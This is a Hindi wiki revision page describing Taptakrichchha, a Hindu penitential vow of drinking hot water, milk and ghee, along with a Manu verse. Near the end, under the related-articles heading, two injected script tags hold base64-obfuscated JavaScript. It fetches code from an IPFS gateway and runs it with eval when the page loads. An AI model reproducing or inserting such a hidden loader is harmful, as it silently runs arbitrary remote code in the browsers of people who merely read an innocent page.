तप्तकृच्छ: Difference between revisions
भारत डिस्कवरी प्रस्तुति
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
(''''तप्तकृच्छ''' एक हिन्दू धर्म में मान्य एक व्रत संस्...' के साथ नया पन्ना बनाया) |
No edit summary |
||
Line 8: | Line 8: | ||
प्रतित्र्यहं पिवेदुण्णान सकृत्स्नायी समाहित:।।<ref>मनु तथा व्रतपरिचय</ref></poem></blockquote> | प्रतित्र्यहं पिवेदुण्णान सकृत्स्नायी समाहित:।।<ref>मनु तथा व्रतपरिचय</ref></poem></blockquote> | ||
{{लेख प्रगति|आधार= | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
Latest revision as of 11:09, 29 July 2013
तप्तकृच्छ एक हिन्दू धर्म में मान्य एक व्रत संस्कार है, जिसमें बराबर तीन दिनों तक गरम दूध, गरम जल तथा गरम घी पिया जाता है। यह व्रत प्रायश्चित स्वरूप किया जाता है और बारह दिनों में समाप्त होता है।[1]
- इस व्रत में पहले तीन दिनों तक प्रतिदिन तीन पल (6 छटाँक) गरम जल, तीन दिनों तक प्रतिदिन तीन पल गर्म दूध, फिर तीन दिन गर्म घी एक पल ग्रहण किया जाता है।
- बाद में अन्त के तीन दिन केवल गर्म वायु अथवा गर्म दूध या जल के भाप के सेवन का प्रावधान है। या तीन पल गर्म जल, दो पल गर्म दूध और एक पल गर्म घी, तीन-तीन दिन पीने और तीन दिन उपवास करने से अथवा तीनों को एक साथ गर्म करके एक दिन पीने से और एक दिन उपवास करने से यह व्रत होता है।
- 'तप्तकृच्छ' व्रत से द्विजों के सब प्रकार के पाप नष्ट हो जाते हैं-
तप्तकृच्छुं चरन विप्रो जलक्षीरघृतानिलान्।
प्रतित्र्यहं पिवेदुण्णान सकृत्स्नायी समाहित:।।[2]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>